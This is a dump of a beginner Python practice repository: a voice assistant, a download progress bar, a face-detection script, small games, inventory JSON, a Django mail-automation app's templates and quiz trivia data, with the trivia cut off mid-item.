tasks based on query 68 | if 'wikipedia' in query: 69 | speak('Searching Wikipedia...') 70 | query = query.replace("wikipedia", "") 71 | results = wikipedia.summary(query, sentences=2) 72 | speak("According to Wikipedia") 73 | print(results) 74 | speak(results) 75 | 76 | elif 'open youtube' in query: 77 | webbrowser.open("youtube.com") 78 | 79 | elif 'open google' in query: 80 | webbrowser.open("google.com") 81 | 82 | elif 'open stackoverflow' in query: 83 | webbrowser.open("stackoverflow.com") 84 | 85 | 86 | elif 'play movies' in query: 87 | music_dir = 'D:\\english novel' 88 | songs = os.listdir(music_dir) 89 | print(songs) 90 | os.startfile(os.path.join(music_dir, songs[0])) 91 | 92 | elif 'the time' in query: 93 | strTime = datetime.datetime.now().strftime("%H:%M:%S") 94 | speak(f"Sir, the time is {strTime}") 95 | 96 | elif 'open code' in query: 97 | codePath = "C:\\Users\\Sattwik Palai\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe" 98 | os.startfile(codePath) 99 | 100 | elif 'send audio' in query: 101 | try: 102 | speak("What should I say?") 103 | content = takeCommand() 104 | to = "sattwikpalai21@gmail.com" 105 | sendEmail(to, content) 106 | speak("Email has been sent!") 107 | except Exception as e: 108 | print(e) 109 | speak("Sorry my friend sattwik bhai. I am not able to send this email") 110 | elif 'exit' in query: 111 | break 112 | -------------------------------------------------------------------------------- /Projects/Download progress bar.py: -------------------------------------------------------------------------------- 1 | #importing required libraries 2 | import requests 3 | from tqdm import tqdm 4 | 5 | #getting url 6 | url = input("enter url: ") 7 | 8 | file = url.split('/')[-1] #naming file 9 | r = requests.get(url, stream=True, allow_redirects=True) #enabling downloads 10 | total_size = int(r.headers.get('content-length')) #getting size of file 11 | initial_pos = 0 #initial position of progress bar 12 | with open(file,'wb') as f: #saving file/downloading file 13 | with tqdm(total=total_size, unit='byte', unit_scale=True,desc=file,initial=initial_pos, ascii=True) as pbar: #showing progress bar 14 | for ch in r.iter_content(chunk_size=1024): #chunk size or ch represents chunk of data which is 1024 bytes 15 | if ch: #you can change chunk size if you want 16 | f.write(ch) 17 | pbar.update(len(ch)) 18 | -------------------------------------------------------------------------------- /Projects/Echo Chatbot.py: -------------------------------------------------------------------------------- 1 | print("Let's talk! Enter 'quit' to exit...") 2 | 3 | while True: 4 | user = input("You: ") 5 | print(f"Bot: {user}") 6 | 7 | if user == 'quit': 8 | break 9 | -------------------------------------------------------------------------------- /Projects/Face_Detection/face_detect_cam.py: -------------------------------------------------------------------------------- 1 | import cv2 as cv 2 | import pyautogui as win 3 | 4 | img = cv.VideoCapture(0) 5 | 6 | while True: 7 | isTrue, frame = img.read() 8 | gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY) 9 | haar_cascade = cv.CascadeClassifier('haar_face.xml') 10 | faces_rect = haar_cascade.detectMultiScale(gray, scaleFactor=1.1, minNeighbors=4) 11 | print(f'{len(faces_rect)} face(s) detected') 12 | faces = f'{len(faces_rect)} face(s)' 13 | 14 | cv.putText(frame, faces, (0,25), cv.FONT_HERSHEY_TRIPLEX, 1.0, (0,0,255), thickness=2) 15 | for (x,y,w,h) in faces_rect: 16 | cv.rectangle(frame, (x,y), (x+w,y+h), (0,255,0), thickness=2) 17 | 18 | cv.imshow('Video',frame) 19 | if cv.waitKey(20) & 0xFF==ord('d') : 20 | break 21 | 22 | img.release() 23 | cv.destroyAllWindows() 24 | -------------------------------------------------------------------------------- /Projects/Face_Detection/readme.md: -------------------------------------------------------------------------------- 1 | 1. This is face detection project using opencv python. 2 | 2. Make sure that, you have entered the correct cam number in the script (according to your cam setup). 3 | 3. Just run the script. 4 | -------------------------------------------------------------------------------- /Projects/Guess_game/GuessGame.py: -------------------------------------------------------------------------------- 1 | #GAME 2 | 3 | #THE BALL IS IN WHICH GLASS? 4 | 5 | from random import shuffle 6 | import time 7 | from os import system,name 8 | 9 | # For clearing screen 10 | def clear(): 11 | if name=='nt': 12 | _=system('cls') 13 | else: 14 | _=system('clear') 15 | 16 | #shuffling list 17 | def shuffle_list(mylist): 18 | shuffle(mylist) 19 | return mylist 20 | 21 | cup=[" ","0"," "] 22 | 23 | #input as player's guess of ball in a glass 24 | #player enters postion of glass (index of list) 25 | def player_guess(): 26 | guess=" " 27 | while guess not in ['0','1','2']: 28 | guess=input("\nPick a glass: 0,1,2 -->") 29 | clear() 30 | return int(guess) 31 | 32 | def check_guess(cup,guess): 33 | if cup[guess]=='0': 34 | print("\nCONGRATULATIONS\nCorrect Guess!!\n***You Won!!***\n") 35 | else: 36 | print("wrong input",cup) 37 | 38 | #initial list 39 | ball=[' ','0',' '] 40 | 41 | while 1: 42 | print("\nSee the ball in the glass-->",ball) 43 | time.sleep(1) 44 | print("\nNow shuffling glasses...") 45 | shuffle(ball) 46 | time.sleep(1) 47 | print("\n--Glasses shuffled--\n") 48 | time.sleep(1) 49 | 50 | print("""Choose: 51 | 1. Play 52 | 2. Exit game""") 53 | 54 | choice=int(input("Enter choice:")) 55 | if choice==1: 56 | guess=player_guess() 57 | check_guess(ball,guess) 58 | elif choice==2: 59 | print("\n***GAME ENDED***\n") 60 | exit(1) 61 | time.sleep(3) 62 | clear() 63 | 64 | 65 | -------------------------------------------------------------------------------- /Projects/Inventory_Management_System/record.json: -------------------------------------------------------------------------------- 1 | {"11602260": {"Name": "LOUIS VUITTON", "Mft. Date": "23-01-2021", "Qty": 10000, "Price": 260, "Discount": 80}, "11602261": {"Name": "GUCCI", "Mft. Date": "25-01-2021", "Qty": 9500, "Price": 240, "Discount": 45}, "11602262": {"Name": "VERSACE", "Mft. Date": "27-01-2021", "Qty": 9000, "Price": 230, "Discount": 40}, "11602263": {"Name": "PRADA", "Mft. Date": "29-01-2021", "Qty": 8500, "Price": 220, "Discount": 35}, "11602264": {"Name": "GIVENCHI", "Mft. Date": "31-01-2021", "Qty": 8000, "Price": 210, "Discount": 30}, "11602265": {"Name": "ARMANI", "Mft. Date": "03-02-2021", "Qty": 7500, "Price": 200, "Discount": 25}, "11602266": {"Name": "FENDI", "Mft. Date": "05-02-2021", "Qty": 7000, "Price": 190, "Discount": 20}, "11602267": {"Name": "CHANEL", "Mft. Date": "07-02-2021", "Qty": 6500, "Price": 180, "Discount": 15}, "11602268": {"Name": "RALPH LAUREN", "Mft. Date": "09-02-2021", "Qty": 6000, "Price": 170, "Discount": 10}, "11602269": {"Name": "HUGO BOSS", "Mft. Date": "11-02-2021", "Qty": 5500, "Price": 160, "Discount": 50}, "11602270": {"Name": "HERMES", "Mft. Date": "13-02-2021", "Qty": 5000, "Price": 160, "Discount": 45}, "11602271": {"Name": "YVES SAINT LAURENT", "Mft. Date": "15-02-2021", "Qty": 4500, "Price": 160, "Discount": 40}, "11602272": {"Name": "DIOR", "Mft. Date": "17-02-2021", "Qty": 4000, "Price": 150, "Discount": 35}, "11602273": {"Name": "VALENTINO", "Mft. Date": "19-02-2021", "Qty": 3500, "Price": 140, "Discount": 30}, "11602274": {"Name": "SALVATORE FERRAGAMO", "Mft. Date": "21-02-2021", "Qty": 3000, "Price": 130, "Discount": 25}, "11602275": {"Name": "DOLCE & GABBANA", "Mft. Date": "23-02-2021", "Qty": 2500, "Price": 120, "Discount": 20}, "11602276": {"Name": "MARC JACOBS", "Mft. Date": "25-02-2021", "Qty": 2000, "Price": 110, "Discount": 15}, "11602277": {"Name": "GUESS", "Mft. Date": "27-02-2021", "Qty": 1500, "Price": 100, "Discount": 10}, "11602278": {"Name": "ABERCROMBIE & FITCH", "Mft. Date": "29-02-2021", "Qty": 1000, "Price": 90, "Discount": 50}, "11602279": {"Name": "TED BAKER", "Mft. Date": "31-02-2021", "Qty": 900, "Price": 80, "Discount": 45}, "11602280": {"Name": "CHRISTIAN LOUBOUTIN", "Mft. Date": "3-03-2021", "Qty": 800, "Price": 70, "Discount": 40}, "11602281": {"Name": "CHLOE", "Mft. Date": "05-03-2021", "Qty": 700, "Price": 60, "Discount": 35}, "11602282": {"Name": "ALEXANDER MCQUEEN", "Mft. Date": "07-03-2021", "Qty": 600, "Price": 50, "Discount": 30}, "11602283": {"Name": "BURBERRY", "Mft. Date": "09-03-2021", "Qty": 500, "Price": 40, "Discount": 25}, "11602284": {"Name": "COACH", "Mft. Date": "11-03-2021", "Qty": 400, "Price": 30, "Discount": 20}, "11602285": {"Name": "COBB", "Mft. Date": "13-03-2021", "Qty": 300, "Price": 20, "Discount": 15}, "11602286": {"Name": "LOUIS PHILLIPE", "Mft. Date": "15-03-2021", "Qty": 200, "Price": 18, "Discount": 10}, "11602287": {"Name": "ALLEN SOLLY", "Mft. Date": "17-03-2021", "Qty": 190, "Price": 16, "Discount": 50}, "11602288": {"Name": "NIKE", "Mft. Date": "19-03-2021", "Qty": 180, "Price": 15, "Discount": 45}, "11602289": {"Name": "ADIDAS", "Mft. Date": "21-03-2021", "Qty": 100, "Price": 10, "Discount": 40}, "11602290": {"Name": "LEVIS", "Mft. Date": "23-03-2021", "Qty": 90, "Price": 280, "Discount": 35}, "11602291": {"Name": "ZARA", "Mft. Date": "25-03-2021", "Qty": 80, "Price": 270, "Discount": 30}} -------------------------------------------------------------------------------- /Projects/Inventory_Management_System/sales.json: -------------------------------------------------------------------------------- 1 | {"User_Name": "Sidharth S Unnithan", "Product_Name": "LOUIS VUITTON", "Product_Id": "11602260", "Product_Qty": 1000, "Product_Amount": 208000}{"User_Name": "Sidharth P", "Product_Name": "GUCCI", "Product_Id": "11602261", "Product_Qty": 800, "Product_Amount": 86400}{"User_Name": "Kiran T Suresh", "Product_Name": "LEVIS", "Product_Id": "11602290", "Product_Qty": 60, "Product_Amount": 5880} -------------------------------------------------------------------------------- /Projects/Language Translator/Readme.md: -------------------------------------------------------------------------------- 1 | # Project name: Language Translator 2 | 3 | Programming Languagw used: 4 | - [X] Python 3.X 5 | 6 | ### Libraries Used: 7 | - Tkinter 8 | - Textblob 9 | 10 | ### How to install this libraries: 11 | 12 | Tkinter 13 | ``` 14 | pip install tk 15 | ``` 16 | 17 | Textblob 18 | ``` 19 | pip install -U textblob 20 | python -m textblob.download_corpora 21 | ``` 22 |
23 | About Project and how to use it: 24 | This project is used to translate one languages to another languages. 25 | To used this app, just copy your text it automatically detect's the language of your text and you have to select in which language you have to convert your text(click on choose output language ). 26 |
After that click on Click button. 27 | 28 | #### Output of the code- 29 | ![Screenshot 2021-10-03 191603](https://user-images.githubusercontent.com/66032266/135756403-11f4861f-adaf-4dae-b137-74de6a6b5a23.png) 30 | --- 31 | Contributed by- [Satyam Bajpai](https://github.com/Satyam-bajpai007) 32 | -------------------------------------------------------------------------------- /Projects/Language Translator/clicking.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Language Translator/clicking.png -------------------------------------------------------------------------------- /Projects/Language Translator/logout.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Language Translator/logout.png -------------------------------------------------------------------------------- /Projects/Language Translator/translater.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Language Translator/translater.ico -------------------------------------------------------------------------------- /Projects/Ludo/ludo/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Ludo/ludo/__init__.py -------------------------------------------------------------------------------- /Projects/Ludo/ludo/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Ludo/ludo/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /Projects/Ludo/ludo/__pycache__/cli.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Ludo/ludo/__pycache__/cli.cpython-37.pyc -------------------------------------------------------------------------------- /Projects/Ludo/ludo/__pycache__/game.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Ludo/ludo/__pycache__/game.cpython-37.pyc -------------------------------------------------------------------------------- /Projects/Ludo/ludo/__pycache__/painter.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Ludo/ludo/__pycache__/painter.cpython-37.pyc -------------------------------------------------------------------------------- /Projects/Ludo/ludo/__pycache__/recorder.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Ludo/ludo/__pycache__/recorder.cpython-37.pyc -------------------------------------------------------------------------------- /Projects/Ludo/ludo/recorder.py: -------------------------------------------------------------------------------- 1 | import pickle 2 | from .game import Player 3 | 4 | 5 | class RunRecord(): 6 | '''provide recoded game data 7 | iterating over instance 8 | yield rolled_value and index 9 | ''' 10 | 11 | def __init__(self, file_obj): 12 | self.file_obj = file_obj 13 | data = pickle.load(self.file_obj) 14 | self.players = data[0] 15 | self.game_history = data[1] 16 | 17 | def get_players(self, func=None): 18 | ''' 19 | return Player object 20 | recreated from a list 21 | func is callable which player 22 | may need for choice delegation 23 | ''' 24 | res = [] 25 | for colour, name, is_computer in self.players: 26 | if is_computer: 27 | player = Player(colour) 28 | else: 29 | player = Player(colour, name, func) 30 | res.append(player) 31 | return res 32 | 33 | def get_game_history(self): 34 | return self.game_history 35 | 36 | def __iter__(self): 37 | return iter(self.game_history) 38 | 39 | 40 | class MakeRecord(): 41 | '''save game data 42 | as a nested list which is 43 | saved with pickle 44 | ''' 45 | 46 | def __init__(self): 47 | self.players = [] 48 | self.game_history = [] 49 | 50 | def add_player(self, player_obj): 51 | '''Accept Player object and 52 | it save NOT as object rather as a list 53 | ''' 54 | if player_obj.choose_pawn_delegate is None: 55 | is_computer = True 56 | else: 57 | is_computer = False 58 | self.players.append((player_obj.colour, 59 | player_obj.name, is_computer)) 60 | 61 | def add_game_turn(self, rolled_value, index): 62 | self.game_history.append((rolled_value, index)) 63 | 64 | def save(self, file_obj): 65 | '''list of lists with players and 66 | game history 67 | ''' 68 | pickle.dump([self.players, self.game_history], 69 | file_obj) 70 | -------------------------------------------------------------------------------- /Projects/Ludo/readme.md: -------------------------------------------------------------------------------- 1 | Simple Dark theme Ludo game. 2 | -------------------------------------------------------------------------------- /Projects/Ludo/run.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from ludo.cli import CLIGame 4 | 5 | 6 | CLIGame().start() 7 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/.gitignore: -------------------------------------------------------------------------------- 1 | *.log 2 | *.pot 3 | *.pyc 4 | __pycache__/ 5 | local_settings.py 6 | /static/ 7 | 8 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/db.sqlite3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/MailingGotEasy/db.sqlite3 -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/MailingGotEasy/mailing/__init__.py -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class MailingConfig(AppConfig): 5 | default_auto_field = 'django.db.models.BigAutoField' 6 | name = 'mailing' 7 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/MailingGotEasy/mailing/migrations/__init__.py -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/static/mailing/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/MailingGotEasy/mailing/static/mailing/favicon.ico -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/templates/mailing/continued.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | Mail Automation 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 |

{{ error }}

16 |

You are at {{ index }} index

17 | 18 | 19 |
20 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/templates/mailing/home.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | 7 | Mail Automation 8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 |
16 |

MAIL AUTOMATION

17 |

18 | Please Fill the below Fields:

19 |
20 | {% csrf_token %} 21 |
22 |

Attach Video

23 | 27 | 28 | 29 |
30 |
31 |

Enter Subject For The Mail

32 | 33 |
34 |
35 |

Mail Matter

36 | 37 |
38 |
39 |

ENTER MAIL ID

40 | 41 |
42 |
43 |

ENTER PASSWORD FOR MAIL ID

44 | 45 |
46 |
47 |

Number of PDF

48 | 53 |
54 |
55 |

Upload CSV FILE

56 | 57 |
58 |
59 |

Enter Starting index

60 | 61 |
62 |
63 |

Enter Ending index

64 | 65 |
66 | 67 | 68 |
69 |
70 |
71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/templates/mailing/pdf0.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | Mail Automation 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | {% block content %} 15 |
16 |
17 |

Column Names:

18 |

{{ Columns }}

19 |

Please Fill the below Fields:

20 |
21 | {% csrf_token %} 22 |
23 |

Enter column name

24 | 25 |
26 |
27 | 28 |
29 |
30 |
Limit:90 Mails at a time
31 |
32 |
33 |
34 |
35 | 36 | {% endblock %} -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/templates/mailing/pdf1.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | Mail Automation 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | {% block content %} 15 |
16 |
17 |

Column Names:

18 |

{{ Columns }}

19 |

Please Fill the below Fields:

20 |
21 | {% csrf_token %} 22 |
23 |

UPLOAD PDFS

24 | 25 |
26 |
27 |

Enter column name

28 | 29 |
30 |
31 | 32 |
33 |
34 |
Limit:90 Mails at a time
35 |
36 |
37 |
38 |
39 | 45 | 46 | {% endblock %} -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/templates/mailing/pdf2.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | Mail Automation 7 | 8 | 9 | 10 | 11 | 12 | 13 | {% block content %} 14 | 15 | 16 |
17 |
18 |

Column Names:

19 |

{{ Columns }}

20 |

Please Fill the below Fields:

21 |
22 | {% csrf_token %} 23 |
24 |

UPLOAD PDFS

25 | 26 | 27 | 28 |
29 | 30 |
31 |

Enter column name

32 | 33 |
34 |
35 | 36 |
37 |
38 |
Limit:90 Mails at a time
39 |
40 |
41 |
42 |
43 | 44 | {% endblock %} -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/templates/mailing/pdfv0.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | Mail Automation 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | {% block content %} 15 |
16 |
17 |

Column Names:

18 |

{{ Columns }}

19 |

Please Fill the below Fields:

20 |
21 | {% csrf_token %} 22 |
23 |

UPLOAD VIDEO

24 | 25 |
26 |
27 |

Enter column name

28 | 29 |
30 |
31 | 32 |
33 |
34 |
Limit:90 Mails at a time
35 |
36 |
37 |
38 |
39 | 40 | {% endblock %} -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/templates/mailing/pdfv1.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | Mail Automation 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | {% block content %} 15 |
16 |
17 |

Column Names:

18 |

{{ Columns }}

19 |

Please Fill the below Fields:

20 |
21 | {% csrf_token %} 22 |
23 |

UPLOAD PDFS

24 | 25 |
26 |
27 |

UPLOAD VIDEO

28 | 29 |
30 |
31 |

Enter column name

32 | 33 |
34 |
35 | 36 |
37 |
38 |
Limit:90 Mails at a time
39 |
40 |
41 |
42 |
43 | 49 | 50 | {% endblock %} -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/templates/mailing/pdfv2.html: -------------------------------------------------------------------------------- 1 | {% load static %} 2 | 3 | 4 | 5 | 6 | Mail Automation 7 | 8 | 9 | 10 | 11 | 12 | 13 | {% block content %} 14 | 15 | 16 |
17 |
18 |

Column Names:

19 |

{{ Columns }}

20 |

Please Fill the below Fields:

21 |
22 | {% csrf_token %} 23 |
24 |

UPLOAD PDFS

25 | 26 | 27 | 28 |
29 |
30 |

UPLOAD VIDEO

31 | 32 | 33 | 34 |
35 | 36 |
37 |

Enter column name

38 | 39 |
40 |
41 | 42 |
43 |
44 |
Limit:90 Mails at a time
45 |
46 |
47 |
48 |
49 | 50 | {% endblock %} -------------------------------------------------------------------------------- /Projects/MailingGotEasy/mailing/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | 7 | def main(): 8 | """Run administrative tasks.""" 9 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'sending_mails.settings') 10 | try: 11 | from django.core.management import execute_from_command_line 12 | except ImportError as exc: 13 | raise ImportError( 14 | "Couldn't import Django. Are you sure it's installed and " 15 | "available on your PYTHONPATH environment variable? Did you " 16 | "forget to activate a virtual environment?" 17 | ) from exc 18 | execute_from_command_line(sys.argv) 19 | 20 | 21 | if __name__ == '__main__': 22 | main() 23 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/media/temporary.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/requirements.txt: -------------------------------------------------------------------------------- 1 | Django==3.2.5 2 | email-forwarder==0.1.1 3 | emails==0.6 4 | numpy==1.19.5.7 5 | pandas==1.1.5 6 | pdf-mail==3.0.0 7 | pdf2image==1.16.0 8 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/sending_mails/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/MailingGotEasy/sending_mails/__init__.py -------------------------------------------------------------------------------- /Projects/MailingGotEasy/sending_mails/asgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | ASGI config for sending_mails project. 3 | 4 | It exposes the ASGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.asgi import get_asgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'sending_mails.settings') 15 | 16 | application = get_asgi_application() 17 | -------------------------------------------------------------------------------- /Projects/MailingGotEasy/sending_mails/urls.py: -------------------------------------------------------------------------------- 1 | """sending_mails URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/3.2/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: path('', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.urls import include, path 14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) 15 | """ 16 | from django.contrib import admin 17 | from django.conf import settings 18 | from django.conf.urls.static import static 19 | from django.urls import path 20 | from mailing import views 21 | urlpatterns = [ 22 | path('admin/', admin.site.urls), 23 | path('',views.home,name='home'), 24 | path('starting',views.starting,name='starting'), 25 | path('startingmails',views.startingmails,name='startingmails'), 26 | ] 27 | 28 | if settings.DEBUG: 29 | urlpatterns+=static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT) -------------------------------------------------------------------------------- /Projects/MailingGotEasy/sending_mails/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for sending_mails project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'sending_mails.settings') 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /Projects/Neuron/README.md: -------------------------------------------------------------------------------- 1 | # Neuron 2 | 3 | Program used to test and train a basic neuron to determine an output for an IF or an OR gates using its truth table, e.g: 4 | 5 | When the training of an AND gate is done, if you input "11" you should get "1" as an output, as stated by its truth table. 6 | 7 | Thank you fpr checking this out! 8 | 9 | Best regards, RockLee444 -------------------------------------------------------------------------------- /Projects/Neuron/TrainedNeuron.py: -------------------------------------------------------------------------------- 1 | class TrainedNeuron: 2 | def __init__(self,weights): 3 | self.weights = weights 4 | 5 | -------------------------------------------------------------------------------- /Projects/Neuron/requirements.txt: -------------------------------------------------------------------------------- 1 | asgiref==3.2.7 2 | astroid==2.4.0 3 | colorama==0.4.3 4 | cycler==0.10.0 5 | Django==3.0.5 6 | isort==4.3.21 7 | kiwisolver==1.3.1 8 | lazy-object-proxy==1.4.3 9 | matplotlib==3.3.3 10 | mccabe==0.6.1 11 | numpy==1.19.5 12 | opencv-python==4.5.1.48 13 | Pillow==8.1.0 14 | pylint==2.5.0 15 | pyparsing==2.4.7 16 | PySimpleGUI==4.33.0 17 | python-dateutil==2.8.1 18 | pytz==2019.3 19 | six==1.15.0 20 | sqlparse==0.3.1 21 | toml==0.10.0 22 | wrapt==1.12.1 23 | -------------------------------------------------------------------------------- /Projects/Pong-master/Pong/sound/258020__kodack__arcade-bleep-sound.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Pong-master/Pong/sound/258020__kodack__arcade-bleep-sound.wav -------------------------------------------------------------------------------- /Projects/Pong-master/Pong/sound/4skwn-reh0j.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Pong-master/Pong/sound/4skwn-reh0j.wav -------------------------------------------------------------------------------- /Projects/Pong-master/Pong/sound/game-over-sound-effect.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Pong-master/Pong/sound/game-over-sound-effect.wav -------------------------------------------------------------------------------- /Projects/Pong-master/README.md: -------------------------------------------------------------------------------- 1 | # Pong 2 | This game is made by using turtle (python). 3 | Package Includes:turtle,time,winsound 4 | Instructions: 5 | Download Pong folder and then run pong.py or You can directly download exe folder and then run pong.exe. 6 | Use 'w' and 's' keys for Player A and use 'Up' and 'Down' keys for Player B. 7 | -------------------------------------------------------------------------------- /Projects/Quiz Game/data.py: -------------------------------------------------------------------------------- 1 | question_data = [ 2 | { 3 | "category": "Science: Computers", 4 | "type": "boolean", 5 | "difficulty": "medium", 6 | "question": "The HTML5 standard was published in 2014.", 7 | "correct_answer": "True", 8 | "incorrect_answers": [ 9 | "False" 10 | ] 11 | }, 12 | { 13 | "category": "Science: Computers", 14 | "type": "boolean", 15 | "difficulty": "medium", 16 | "question": "The first computer bug was formed by faulty wires.", 17 | "correct_answer": "False", 18 | "incorrect_answers": [ 19 | "True" 20 | ] 21 | }, 22 | { 23 | "category": "Science: Computers", 24 | "type": "boolean", 25 | "difficulty": "medium", 26 | "question": "FLAC stands for 'Free Lossless Audio Condenser'.", 27 | "correct_answer": "False", 28 | "incorrect_answers": [ 29 | "True" 30 | ] 31 | }, 32 | { 33 | "category": "Science: Computers", 34 | "type": "boolean", 35 | "difficulty": "medium", 36 | "question": "All program codes have to be compiled into an executable file in order to be run. This file can then be executed on any machine.", 37 | "correct_answer": "False", 38 | "incorrect_answers": [ 39 | "True" 40 | ] 41 | }, 42 | { 43 | "category": "Science: Computers", 44 | "type": "boolean", 45 | "difficulty": "easy", 46 | "question": "Linus Torvalds created Linux and Git.", 47 | "correct_answer": "True", 48 | "incorrect_answers": [ 49 | "False" 50 | ] 51 | }, 52 | { 53 | "category": "Science: Computers", 54 | "type": "boolean", 55 | "difficulty": "easy", 56 | "question": "The programming language 'Python' is based off a modified version of 